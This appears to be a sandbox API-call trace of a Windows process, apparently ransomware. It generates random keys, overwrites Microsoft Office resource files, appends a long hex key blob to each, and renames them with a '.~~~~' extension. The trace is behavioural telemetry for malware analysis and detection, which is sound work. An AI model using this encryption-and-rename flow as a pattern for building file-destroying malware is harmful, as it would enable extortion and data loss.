	[0132.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809418 | out: hHeap=0x300000) returned 1
	[0132.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.531] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.531] GetLastError () returned 0x0
	[0132.531] GetLastError () returned 0x0
	[0132.531] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.531] GetLastError () returned 0x0
	[0132.532] GetLastError () returned 0x0
	[0132.533] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.534] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0xff, lpOverlapped=0x0) returned 1
	[0132.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.536] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.536] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.536] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.537] CloseHandle (hObject=0x114) returned 1
	[0132.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f09b0
	[0132.537] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif.~~~~")) returned 1
	[0132.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f09b0 | out: hHeap=0x300000) returned 1
	[0132.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0132.539] GetLastError () returned 0x0
	[0132.641] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0132.642] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.642] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.643] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25263288449) returned 1
	[0132.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb881ac10, dwHighDateTime=0x1d60e1e)) 
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809920
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809920 | out: hHeap=0x300000) returned 1
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.644] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.644] GetLastError () returned 0x0
	[0132.644] GetLastError () returned 0x0
	[0132.644] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.644] GetLastError () returned 0x0
	[0132.645] GetLastError () returned 0x0
	[0132.700] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.700] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x155, lpOverlapped=0x0) returned 1
	[0132.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.702] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.703] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.703] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.703] CloseHandle (hObject=0x114) returned 1
	[0132.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0132.705] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif.~~~~")) returned 1
	[0132.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0132.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0132.707] GetLastError () returned 0x0
	[0132.708] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0132.709] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.709] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.709] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25269910668) returned 1
	[0132.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb88b3190, dwHighDateTime=0x1d60e1e)) 
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809990
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809990 | out: hHeap=0x300000) returned 1
	[0132.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.710] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.710] GetLastError () returned 0x0
	[0132.710] GetLastError () returned 0x0
	[0132.710] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.710] GetLastError () returned 0x0
	[0132.711] GetLastError () returned 0x0
	[0132.712] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffe48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.712] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1b8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x1b8, lpOverlapped=0x0) returned 1
	[0132.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.843] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.843] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.848] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.849] CloseHandle (hObject=0x114) returned 1
	[0132.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f1658
	[0132.951] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif.~~~~")) returned 1
	[0132.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1658 | out: hHeap=0x300000) returned 1
	[0132.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0132.998] GetLastError () returned 0x0
	[0132.999] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2908070) returned 1
	[0133.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0133.001] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0133.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.001] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25299112105) returned 1
	[0133.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8b86bb0, dwHighDateTime=0x1d60e1e)) 
	[0133.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809d10
	[0133.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809d10 | out: hHeap=0x300000) returned 1
	[0133.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.002] GetLastError () returned 0x0
	[0133.002] GetLastError () returned 0x0
	[0133.002] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.002] GetLastError () returned 0x0
	[0133.003] GetLastError () returned 0x0
	[0133.004] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffe94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.004] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x16c, lpOverlapped=0x0) returned 1
	[0133.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.007] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.007] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.007] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.007] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.007] CloseHandle (hObject=0x140) returned 1
	[0133.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6f00
	[0133.008] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif.~~~~")) returned 1
	[0133.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6f00 | out: hHeap=0x300000) returned 1
	[0133.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.010] GetLastError () returned 0x0
	[0133.012] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2908070) returned 1
	[0133.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0133.013] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0133.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.013] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25300335808) returned 1
	[0133.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8b86bb0, dwHighDateTime=0x1d60e1e)) 
	[0133.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809ca0
	[0133.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809ca0 | out: hHeap=0x300000) returned 1
	[0133.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.014] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.014] GetLastError () returned 0x0
	[0133.015] GetLastError () returned 0x0
	[0133.015] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.015] GetLastError () returned 0x0
	[0133.015] GetLastError () returned 0x0
	[0133.017] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff241, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.017] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xdbf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xdbf, lpOverlapped=0x0) returned 1
	[0133.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.019] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.019] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.019] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.019] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.020] CloseHandle (hObject=0x140) returned 1
	[0133.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802a78
	[0133.020] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css.~~~~")) returned 1
	[0133.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802a78 | out: hHeap=0x300000) returned 1
	[0133.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.021] GetLastError () returned 0x0
	[0133.022] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2908070) returned 1
	[0133.023] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0133.023] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0133.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
